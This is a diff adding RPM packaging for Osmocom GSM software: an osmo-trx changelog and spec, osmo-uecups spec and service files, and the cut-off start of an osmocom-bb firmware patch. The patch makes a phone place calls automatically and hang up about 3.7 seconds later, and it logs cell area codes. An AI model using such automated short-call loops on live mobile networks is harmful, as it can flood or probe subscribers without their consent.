+- Update to version 0.4.0.67:
+ * Transciever: Log values causing Tx underrun
+
+-------------------------------------------------------------------
+Tue Oct 02 10:27:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.66:
+ * CommonLibs/Makefile.am: Specify libcommon_la_LIBADD
+
+-------------------------------------------------------------------
+Sat Sep 29 19:47:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.65:
+ * Use pthread_setname_np to name threads
+
+-------------------------------------------------------------------
+Tue Sep 25 20:01:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.64:
+ * ensure well-formed example config files
+
+-------------------------------------------------------------------
+Thu Sep 20 20:01:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.63:
+ * device/lms/LMSDevice.cpp: fix compilation warning
+
+-------------------------------------------------------------------
+Thu Sep 13 18:17:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.62:
+ * cosmetic: Use proper whitespace in several for loops
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Tue Sep 11 20:01:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.59:
+ * jenkins.sh: Add --enable-werror flag to osmo-trx configure step
+ * Vector: Copy arrays in a sane way for non-trivially copyable types
+
+-------------------------------------------------------------------
+Mon Sep 10 20:01:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.57:
+ * radioInterfaceMulti:pullBuffer: Sanely convert float array to complex array
+ * cosmetic: Fix trailing whitespace in several files
+ * SigProcLib: Use available copyTo Vector API instead of memcopy
+ * UHHDDevice: Replace deprecated header uhd/utils/thread_priority.hpp
+
+-------------------------------------------------------------------
+Tue Sep 04 20:01:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.53:
+ * update git-version-gen to generate proper version numbers
+ * configure.ac: Specify default language as C++
+ * radioInterface: Fix variable storing integer return value
+ * osmo-trx: Add osmo_signal to stop whole transceiver chain correctly on error
+ * lms: Return error on device read timeout
+ * radioInterface: forward errors from RadioDevice to Transceiver in recv path
+ * cosmetic: Fix trailing whitespace
+ * Logger: Disable pthread cancel point inside Logger destructor
+
+-------------------------------------------------------------------
+Fri Aug 31 20:01:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.45:
+ * configure.ac: Add --enable-werror option
+
+-------------------------------------------------------------------
+Wed Aug 29 20:01:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.44:
+ * vty: Fix typo in gpsdo clock reference type
+
+-------------------------------------------------------------------
+Sat Aug 18 20:01:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.43:
+ * logging: Introduce new "DDEV" category for device-specific code
+
+-------------------------------------------------------------------
+Fri Aug 17 20:04:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.42:
+ * configure.ac: Fix typo in with-lms help string
+
+-------------------------------------------------------------------
+Thu Aug 09 20:01:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.41:
+ * debian: add patches for debian8
+
+-------------------------------------------------------------------
+Tue Jul 31 20:01:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.40:
+ * Fix config file saving of {tx,rx}-path VTY config strings
+
+-------------------------------------------------------------------
+Mon Jun 25 20:01:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.39:
+ * debian: Explicitly enable osmo-trx-uhd build
+ * debian: Enable build of osmo-trx-lms
+ * Use correct paths when installing example files
+
+-------------------------------------------------------------------
+Wed Jun 20 13:53:04 UTC 2018 - mardnh@gmx.de
+
+- Build with support for native LimeSDR
+- Package systemd service files
+- Update to version 0.4.0.36:
+ * lms: Allow values diff than 34dB to be set by setRxGain()
+ * Add -V param to print version
+ * debian: Add cfg file examples for osmo-trx-{lms,uhd}
+ * contrib: Add systemd services for all backends
+ * debian: Add package osmo-trx-lms
+
+-------------------------------------------------------------------
+Mon Jun 18 20:01:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.31:
+ * usrp1: Fail in case of unsupported configuration
+ * lms: Fail in case of unsupported configuration
+ * lms: Fix coding style
+ * radioDevice: better encapsulation in base class
+ * radioDevice: Move tx_sps from derived into base class
+ * lms: Call set_antennas() during open() method
+ * lms: Fix support for rx_paths / tx_paths
+ * move set_antennas() from UHD to generic radioDevice base class
+
+-------------------------------------------------------------------
+Mon Jun 18 08:09:17 UTC 2018 - mardnh@gmx.de
+
+- Build with support for usrp1
+- Split into subpackages
+
+-------------------------------------------------------------------
+Thu Jun 14 20:01:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.23:
+ * lms: Reduce Rx gain from 47 to 34 dB
+ * lms: fix LMS_StartStream() handling for multiple channels
+ * lms: Reduce log level of "send buffer of len ..."
+ * lms: Use same timestamp offset like when using LimeSDR via UHD
+ * lms: Check LPBFW to set is within supported range
+ * lms: Makefile.am: Reorder params to fix link issue
+ * LMSDevice: Fix setup failure with LimeSuite > 18.04.1
+ * LMSDevice: Set correct values for Max{Tx,Rx}Gain
+ * LMSDevice: Reduce Rx logging verbosity: Only log unexpected timestamps
+ * LMS_Device: Set ts_offset to 0.
+ * LMSDevice: Fix initial timestamp offset of 2500
+ * LMSDevice: Set low-pass filters to smallest possible option
+ * LMSDevice: Typo fix: s/Internal/External
+ * LMSDevice: Print sample rate range + actual sample rate after setting it
+ * LMSDevice: Call LMS_Init() before setting sample rate
+ * update .gitignore to include osmo-trx-lms
+ * build: Add support for LimeSuite device backend
+ * lms: Several improvements and compilation/runtime fixes
+ * Initial work towards direct LimeSuite support in OsmoTRX
+
+-------------------------------------------------------------------
+Wed Jun 13 20:01:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.4:
+ * examples: Set rt-prio 18 and print file basename
+
+-------------------------------------------------------------------
+Wed May 09 20:02:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.3:
+ * UHDDevice: Fix setup failure with LimeSuite > 18.04.1
+ * trx_vty.c: fix: use CONFIG_NODE as parent by default
+
+-------------------------------------------------------------------
+Fri May 04 20:01:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.1:
+ * doc: examples: Add umtrx sample config
+
+-------------------------------------------------------------------
+Thu May 03 20:02:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.0:
+ * doc: add example config for usrp B200 series
+ * git-version-gen: Take into account tags not in master
+ * Bump version: 0.3.0-dirty → 0.4.0
+
+-------------------------------------------------------------------
+Sun Apr 29 20:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.96:
+ * update .gitignore for new executable names
+ * osmo-trx: s/GSM Core Address/GSM BTS Address/
+
+-------------------------------------------------------------------
+Sat Apr 28 20:02:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.94:
+ * build: More OBS build failure fixes
+ * jenkins.sh: Enable build of osmo-trx-usrp1
+ * debian: Remove osmo-trx-usrp1 until we can build libusrp1.deb
+ * debian: Fix OBS build
+ * build: Fix OBS build for ARM
+ * Revert "debian: Remove osmo-trx-usrp1 until we can build libusrp1.deb"
+ * debian/control: Remove "Maintainer" from binary package section
+ * debian/rules: Make sure we always require libusrp
+ * debian: Ensure USRP1 firmware is part of osmo-trx-usrp1
+ * debian/control: Add build dependency to libusrp-dev
+
+-------------------------------------------------------------------
+Fri Apr 27 20:01:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.84:
+ * build: Fix make distcheck
+
+-------------------------------------------------------------------
+Thu Apr 26 20:01:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.83:
+ * Logger: Print correct source file and line number
+ * Transceiver: log timing info of stale bursts
+
+-------------------------------------------------------------------
+Wed Apr 25 20:01:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.81:
+ * Move arch specific fiels to arch subdir
+ * Move device specific files to device subdir
+ * Change configure define USRP1 to DEVICE_USRP1
+ * Move device specific code out of radioInterface
+ * Transceiver: Move device specific code to radioDevice class
+ * Build one osmo-trx binary for each device support enabled
+
+-------------------------------------------------------------------
+Mon Apr 16 20:01:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.75:
+ * use osmo_init_logging2()
+ * tests: Makefile.am: Fix typo in include path
+ * configure.ac: Add --enable-sanitize option
+
+-------------------------------------------------------------------
+Thu Apr 12 21:46:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.72:
+ * jenkins.sh: change qemu-img default location to $HOME/qemu-img instead of /opt/qemu-img
+
+-------------------------------------------------------------------
+Mon Apr 09 09:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.71:
+ * configure.ac: Fix typo
+
+-------------------------------------------------------------------
+Sun Apr 8 18:03:32 UTC 2018 - mardnh@gmx.de
+
+- Run tests
+
+-------------------------------------------------------------------
+Sat Apr 07 18:52:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.70:
+ * jenkins.sh: cleanup always the workspace
+
+-------------------------------------------------------------------
+Wed Mar 14 21:15:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.69:
+ * doc: Add sample cfg file for LimeSDR
+ * osmo-trx: Use VTY cfg structures while still allowing cmd line options
+ * osmo-trx: Re-introduce -l cmd line parameter
+ * Makefile.am: Avoid using subdir if arch is not required
+ * Build Transceiver52M/common as an .la lib
+ * Transceiver.cpp: use a define for the MAX_PACKET_LENGTH
+ * Transceiver.cpp: properly zero-terminate received commands
+ * Transceiver.cpp: use pointer arithmetics for CMD parsing
+ * Transceiver.cpp: fix incorrect format string for SETTSC
+ * Transceiver.cpp: prevent out-of-range array access
+
+-------------------------------------------------------------------
+Wed Mar 14 14:20:44 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.2.0.64
+
+-------------------------------------------------------------------
+Sat Feb 10 16:16:47 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.2.0.40
+
+-------------------------------------------------------------------
+Wed Jan 24 13:16:29 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.2.0.36
+
+-------------------------------------------------------------------
+Thu Dec 28 13:44:49 UTC 2017 - mardnh@gmx.de
+
+- Update to new upstream release 0.2.0
+ * No changelog was provided
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Wed Mar 22 18:44:05 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1490207482.38b6987:
+ * uhd: Add support for UHD-3.11 logging control
+ * uhd: Increase MC-BTS FPGA clock rate to 51.2 MHz
+ * Add autoconf-archive to dependencies
+ * CommonLibs: Remove unused files.
+ * sigProcLib: Typo sybols -> symbols
+ * radioBuffer: Remove extra ; at the end of inline function definitions.
+ * sigProcLib: Fix documentation, sync argument names in .cpp and .h files.
+ * sigProcLib: make energyDetect() simpler by returning actual energy.
+ * sigProcLib: Rename demodulateBurst() to demodGmskBurst() for clarity.
+ * sigProcLib: Slice SoftVector instead of signalVector for GMSK demod.
+ * Call vectorSlicer() right before packing bits for transmission to osmo-bts.
+ * CommonLibs: Print soft bits with less confidence to console when printing a soft vector.
+ * BitVector: Remove convolutional codec - we don't use it in osmo-trx.
+ * BitVector: Convert SoftVector from 0..1 to -1..+1 soft bits.
+
+-------------------------------------------------------------------
+Fri Mar 03 11:21:36 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1485446766.2dee3e9:
+ * uhd: Add X300 sample timing for 4 SPS
+ * Revert "uhd: Set minimum supported version to 3.9.0"
+ * debian: Require fftw3 header files for osmo-trx
+ * Add gerrit settings
+ * Integrate Debian packaging changes
+ * Do not embed sqlite3 when building
+ * Remove embedded sqlite3
+ * Fix building against sqlite3
+
+-------------------------------------------------------------------
+Wed Dec 28 21:57:30 UTC 2016 - mardnh@gmx.de
+
+- initial package
diff --git a/rpm-local/spec/osmo-trx/osmo-trx.spec b/rpm-local/spec/osmo-trx/osmo-trx.spec
new file mode 100644
index 0000000..869fcc2
--- /dev/null
+++ b/rpm-local/spec/osmo-trx/osmo-trx.spec
@@ -0,0 +1,189 @@
+#
+# spec file for package osmo-trx
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: osmo-trx
+Version: 1.2.0.30
+Release: 0
+Summary: SDR transceiver that implements Layer 1 of a GSM BTS
+License: AGPL-3.0-or-later
+Group: Productivity/Telephony/Servers
+URL: https://osmocom.org/projects/osmotrx/wiki/OsmoTRX
+Source: %{name}-%{version}.tar.xz
+Source99: osmo-trx-rpmlintrc
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: fdupes
+BuildRequires: gcc-c++
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: pkgconfig(LimeSuite)
+BuildRequires: pkgconfig(fftw3f)
+BuildRequires: pkgconfig(libosmocore) >= 0.12.0
+BuildRequires: pkgconfig(libosmoctrl) >= 0.12.0
+BuildRequires: pkgconfig(libosmovty) >= 0.12.0
+BuildRequires: pkgconfig(libusb-1.0)
+BuildRequires: pkgconfig(uhd)
+BuildRequires: pkgconfig(usrp) >= 3.3
+%{?systemd_requires}
+%if 0%{?suse_version} > 1325
+BuildRequires: libboost_program_options-devel
+BuildRequires: libboost_system-devel
+BuildRequires: libboost_test-devel
+BuildRequires: libboost_thread-devel
+%else
+BuildRequires: boost-devel
+%endif
+
+%description
+OsmoTRX is a software-defined radio transceiver that implements the Layer 1
+physical layer of a BTS comprising the following 3GPP specifications:
+
+TS 05.01 "Physical layer on the radio path"
+TS 05.02 "Multiplexing and Multiple Access on the Radio Path"
+TS 05.04 "Modulation"
+TS 05.10 "Radio subsystem synchronization"
+
+In this context, BTS is "Base transceiver station". It's the stations that
+connect mobile phones to the mobile network.
+
+3GPP is the "3rd Generation Partnership Project" which is the collaboration
+between different telecommunication associations for developing new
+generations of mobile phone networks. (post-2G/GSM)
+
+%package uhd
+Summary: SDR transceiver that implements Layer 1 of a GSM BTS (UHD)
+Group: Productivity/Telephony/Servers
+
+%description uhd
+OsmoTRX is a software-defined radio transceiver that implements the Layer 1
+physical layer of a BTS comprising the following 3GPP specifications:
+
+TS 05.01 "Physical layer on the radio path"
+TS 05.02 "Multiplexing and Multiple Access on the Radio Path"
+TS 05.04 "Modulation"
+TS 05.10 "Radio subsystem synchronization"
+
+In this context, BTS is "Base transceiver station". It's the stations that
+connect mobile phones to the mobile network.
+
+3GPP is the "3rd Generation Partnership Project" which is the collaboration
+between different telecommunication associations for developing new
+generations of mobile phone networks. (post-2G/GSM)
+
+%package usrp1
+Summary: SDR transceiver that implements Layer 1 of a GSM BTS (USRP1)
+Group: Productivity/Telephony/Servers
+
+%description usrp1
+OsmoTRX is a software-defined radio transceiver that implements the Layer 1
+physical layer of a BTS comprising the following 3GPP specifications:
+
+TS 05.01 "Physical layer on the radio path"
+TS 05.02 "Multiplexing and Multiple Access on the Radio Path"
+TS 05.04 "Modulation"
+TS 05.10 "Radio subsystem synchronization"
+
+In this context, BTS is "Base transceiver station". It's the stations that
+connect mobile phones to the mobile network.
+
+3GPP is the "3rd Generation Partnership Project" which is the collaboration
+between different telecommunication associations for developing new
+generations of mobile phone networks. (post-2G/GSM)
+
+%package lms
+Summary: SDR transceiver that implements Layer 1 of a GSM BTS (LimeSuite)
+Group: Productivity/Telephony/Servers
+
+%description lms
+OsmoTRX is a software-defined radio transceiver that implements the Layer 1
+physical layer of a BTS comprising the following 3GPP specifications:
+
+TS 05.01 "Physical layer on the radio path"
+TS 05.02 "Multiplexing and Multiple Access on the Radio Path"
+TS 05.04 "Modulation"
+TS 05.10 "Radio subsystem synchronization"
+
+In this context, BTS is "Base transceiver station". It's the stations that
+connect mobile phones to the mobile network.
+
+3GPP is the "3rd Generation Partnership Project" which is the collaboration
+between different telecommunication associations for developing new
+generations of mobile phone networks. (post-2G/GSM)
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --docdir=%{_docdir}/%{name} \
+ --with-systemdsystemunitdir=%{_unitdir} \
+ --with-lms \
+ --with-uhd \
+ --with-usrp1
+
+make %{?_smp_mflags} V=1
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%install
+%make_install
+%fdupes -s %{buildroot}/%{_datadir}
+
+%pre lms %service_add_pre osmo-trx-lms.service
+%post lms %service_add_post osmo-trx-lms.service
+%preun lms %service_del_preun osmo-trx-lms.service
+%postun lms %service_del_postun osmo-trx-lms.service
+%pre uhd %service_add_pre osmo-trx-uhd.service
+%post uhd %service_add_post osmo-trx-uhd.service
+%preun uhd %service_del_preun osmo-trx-uhd.service
+%postun uhd %service_del_postun osmo-trx-uhd.service
+%pre usrp1 %service_add_pre osmo-trx-usrp1.service
+%post usrp1 %service_add_post osmo-trx-usrp1.service
+%preun usrp1 %service_del_preun osmo-trx-usrp1.service
+%postun usrp1 %service_del_postun osmo-trx-usrp1.service
+
+%files
+%license COPYING
+%doc README.md
+%doc %{_docdir}/%{name}/examples
+
+%files lms
+%{_bindir}/osmo-trx-lms
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-trx-lms.cfg
+%{_unitdir}/osmo-trx-lms.service
+
+%files uhd
+%{_bindir}/osmo-trx-uhd
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-trx-uhd.cfg
+%{_unitdir}/osmo-trx-uhd.service
+
+%files usrp1
+%{_bindir}/osmo-trx-usrp1
+%dir %{_datadir}/usrp
+%dir %{_datadir}/usrp/rev2
+%dir %{_datadir}/usrp/rev4
+%{_datadir}/usrp/rev2/std_inband.rbf
+%{_datadir}/usrp/rev4/std_inband.rbf
+%{_unitdir}/osmo-trx-usrp1.service
+
+%changelog
diff --git a/rpm-local/spec/osmo-uecups/_service b/rpm-local/spec/osmo-uecups/_service
new file mode 100644
index 0000000..01da3a7
--- /dev/null
+++ b/rpm-local/spec/osmo-uecups/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-uecups.git</param>
+ <param name="filename">osmo-uecups</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-uecups/_servicedata b/rpm-local/spec/osmo-uecups/_servicedata
new file mode 100644
index 0000000..81ee242
--- /dev/null
+++ b/rpm-local/spec/osmo-uecups/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-uecups.git</param>
+ <param name="changesrevision">8362efef7c6fa341eb947a75786878e0685767b7</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-uecups/osmo-uecups.changes b/rpm-local/spec/osmo-uecups/osmo-uecups.changes
new file mode 100644
index 0000000..63193c3
--- /dev/null
+++ b/rpm-local/spec/osmo-uecups/osmo-uecups.changes
@@ -0,0 +1,22 @@
+-------------------------------------------------------------------
+Mon Apr 27 20:04:50 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.1.3.1:
+ * daemon: Add VTY command to configure local bind IP of UECUPS socket
+
+-------------------------------------------------------------------
+Sat Apr 25 20:05:31 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.1.3.0:
+ * Bump version: 0.1.2-8e2a → 0.1.3
+
+-------------------------------------------------------------------
+Wed Apr 22 20:05:32 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.1.3:
+ * dameon: Handle multiple coalesced SIGCHLD
+
+-------------------------------------------------------------------
+Mon Apr 20 20:09:53 UTC 2020 - Martin Hauke <mardnh@gmx.de>
+
+- Initial version, 0.1.2
diff --git a/rpm-local/spec/osmo-uecups/osmo-uecups.spec b/rpm-local/spec/osmo-uecups/osmo-uecups.spec
new file mode 100644
index 0000000..701cf77
--- /dev/null
+++ b/rpm-local/spec/osmo-uecups/osmo-uecups.spec
@@ -0,0 +1,86 @@
+#
+# spec file for package osmo-uecups
+#
+# Copyright (c) 2020, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-uecups
+Version: 0.1.3.1
+Release: 0
+Summary: OsmoUECUPS: UE/MME/SGW side GTP user plane daemon with control plane separation
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: https://osmocom.org/projects/osmo-uecups
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: autoconf-archive
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libosmocore) >= 1.1.0
+BuildRequires: pkgconfig(libosmovty) >= 1.1.0
+BuildRequires: pkgconfig(libosmo-netif)
+BuildRequires: pkgconfig(jansson)
+BuildRequires: pkgconfig(libnl-route-3.0)
+BuildRequires: lksctp-tools-devel
+#BuildRequires: systemd-rpm-macros
+
+%description
+OsmoUECUPS: UE/MME/SGW side GTP user plane daemon with control plane
+separation.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%check
+### FIXME - no checks atm
+#make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+### FIXME - no service file atm
+#%%preun
+#%%service_del_preun %{name}.service
+#%
+#%%postun
+#%%service_del_postun %{name}.service
+#%
+#%%pre
+#%%service_add_pre %{name}.service
+#%
+#%%post
+#%%service_add_post %{name}.service
+
+%files
+### FIXME - no licence files included atm
+#%%license XXX
+%doc README.md
+%dir %{_docdir}/%{name}
+%dir %{_docdir}/%{name}/examples
+%{_docdir}/%{name}/examples/osmo-uecups-daemon.cfg
+%{_bindir}/osmo-uecups-daemon
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-uecups-daemon.cfg
+#%%{_unitdir}/osmo-uecups.service
+
+%changelog
diff --git a/rpm-local/spec/osmocom-bb-fwp/_service b/rpm-local/spec/osmocom-bb-fwp/_service
new file mode 100644
index 0000000..1aa7a96
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="revision">4f0acac4c1fa538082f54cb14bef0841aa9c8abb</param>
+ <param name="exclude">.git</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmocom-bb-fwp/_servicedata b/rpm-local/spec/osmocom-bb-fwp/_servicedata
new file mode 100644
index 0000000..177ac91
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="changesrevision">4f0acac4c1fa538082f54cb14bef0841aa9c8abb</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmocom-bb-fwp/fwp.patch b/rpm-local/spec/osmocom-bb-fwp/fwp.patch
new file mode 100644
index 0000000..e9f85b5
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/fwp.patch
@@ -0,0 +1,2987 @@
+diff --git a/src/Makefile b/src/Makefile
+index cda880f..523b4fb 100644
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -47,7 +47,7 @@ shared/libosmocore/build-target/Makefile: shared/libosmocore/configure shared/li
+ --host=$(CROSS_HOST) --enable-embedded --disable-shared \
+ --disable-tests ac_cv_header_sys_select_h=no \
+ --disable-tests ac_cv_header_sys_socket_h=no \
+- CFLAGS="-Os -ffunction-sections -I$(TOPDIR)/target/firmware/include -nostartfiles -nodefaultlibs"
++ CFLAGS="-O3 -ffunction-sections -I$(TOPDIR)/target/firmware/include -nostartfiles -nodefaultlibs"
+
+ shared/libosmocore/build-target/src/.libs/libosmocore.a: shared/libosmocore/build-target/Makefile
+ cd shared/libosmocore/build-target && make
+--- a/src/host/layer23/src/misc/cell_log.c
++++ b/src/host/layer23/src/misc/cell_log.c
+@@ -185,10 +185,13 @@ static void log_sysinfo(void)
+ if (log_si.ta != 0xff)
+ sprintf(ta_str, " TA=%d", log_si.ta);
+
+- LOGP(DSUM, LOGL_INFO, "Cell: ARFCN=%d MCC=%s MNC=%s (%s, %s)%s\n",
+- arfcn, gsm_print_mcc(s->mcc), gsm_print_mnc(s->mnc),
++ LOGP(DSUM, LOGL_INFO, "Cell: ARFCN=%d LAC=%04x MCC=%s MNC=%s (%s, %s)%s\n",
++ arfcn, s->si3 ? s->lac : 0, gsm_print_mcc(s->mcc), gsm_print_mnc(s->mnc),
+ gsm_get_mcc(s->mcc), gsm_get_mnc(s->mcc, s->mnc), ta_str);
+
++ LOGFILE("Cell: ARFCN=%d LAC=%04x MCC=%s MNC=%s (%s, %s)%s\n",
++ arfcn, s->si3 ? s->lac : 0, gsm_print_mcc(s->mcc), gsm_print_mnc(s->mnc),
++ gsm_get_mcc(s->mcc), gsm_get_mnc(s->mcc, s->mnc), ta_str);
+ LOGFILE("[sysinfo]\n");
+ LOGFILE("arfcn %d\n", s->arfcn);
+ log_time();
+diff --git a/src/host/layer23/src/mobile/gsm48_cc.c b/src/host/layer23/src/mobile/gsm48_cc.c
+index 38dfab0..4adf18a 100644
+--- a/src/host/layer23/src/mobile/gsm48_cc.c
++++ b/src/host/layer23/src/mobile/gsm48_cc.c
+@@ -47,6 +47,10 @@ int mncc_release_ind(struct osmocom_ms *ms, struct gsm_trans *trans,
+ static int gsm48_cc_tx_disconnect(struct gsm_trans *trans, void *arg);
+ static int gsm48_cc_tx_connect_ack(struct gsm_trans *trans, void *arg);
+
++extern struct osmo_timer_list tick_timer_hangup;
++extern struct osmo_timer_list tick_timer_call;
++extern int calls;
++
+ /*
+ * init
+ */
+@@ -2167,8 +2171,10 @@ int gsm48_rcv_cc(struct osmocom_ms *ms, struct msgb *msg)
+ break;
+ case GSM48_MMCC_EST_CNF:
+ /* send setup after confirm */
+- if (trans->cc.state == GSM_CSTATE_MM_CONNECTION_PEND)
++ if (trans->cc.state == GSM_CSTATE_MM_CONNECTION_PEND){
+ rc = gsm48_cc_tx_setup(trans);
++ osmo_timer_schedule(&tick_timer_hangup, 3, 700000);
++ }
+ else
+ LOGP(DCC, LOGL_ERROR, "Oops, MMCC-EST-CONF in state "
+ "%d?\n", trans->cc.state);
+diff --git a/src/host/layer23/src/mobile/gsm48_mm.c b/src/host/layer23/src/mobile/gsm48_mm.c
+index a8f699d..d9f719c 100644
+--- a/src/host/layer23/src/mobile/gsm48_mm.c
++++ b/src/host/layer23/src/mobile/gsm48_mm.c
+@@ -43,6 +43,10 @@
+
+ extern void *l23_ctx;
+
++extern int calls;
++extern struct osmo_timer_list tick_timer_call;
++extern struct osmo_timer_list tick_timer_hangup;
++
+ void mm_conn_free(struct gsm48_mm_conn *conn);
+ static int gsm48_rcv_rr(struct osmocom_ms *ms, struct msgb *msg);
+ static int gsm48_rcv_mmr(struct osmocom_ms *ms, struct msgb *msg);
+@@ -932,6 +936,8 @@ static void new_mm_state(struct gsm48_mmlayer *mm, int state, int substate)
+ vty_notify(ms, "On Network, normal service: %s, %s\n",
+ gsm_get_mcc(plmn->mcc),
+ gsm_get_mnc(plmn->mcc, plmn->mnc));
++ if(calls != 0)
++ osmo_timer_schedule(&tick_timer_call, 0, 5000);
+ break;
+ case GSM48_MM_SST_LIMITED_SERVICE:
+ vty_notify(ms, NULL);
+@@ -1451,7 +1457,7 @@ void mm_conn_free(struct gsm48_mm_conn *conn)
+ }
+
+ /* support function to release pending/all ongoing MM connections */
+-static int gsm48_mm_release_mm_conn(struct osmocom_ms *ms, int abort_any,
++int gsm48_mm_release_mm_conn(struct osmocom_ms *ms, int abort_any,
+ uint8_t cause, int error, uint8_t sapi)
+ {
+ struct gsm48_mmlayer *mm = &ms->mmlayer;
+diff --git a/src/host/layer23/src/mobile/mnccms.c b/src/host/layer23/src/mobile/mnccms.c
+index 9fdc45f..58a3afa 100644
+--- a/src/host/layer23/src/mobile/mnccms.c
++++ b/src/host/layer23/src/mobile/mnccms.c
+@@ -41,6 +41,10 @@ static int dtmf_statemachine(struct gsm_call *call, struct gsm_mncc *mncc);
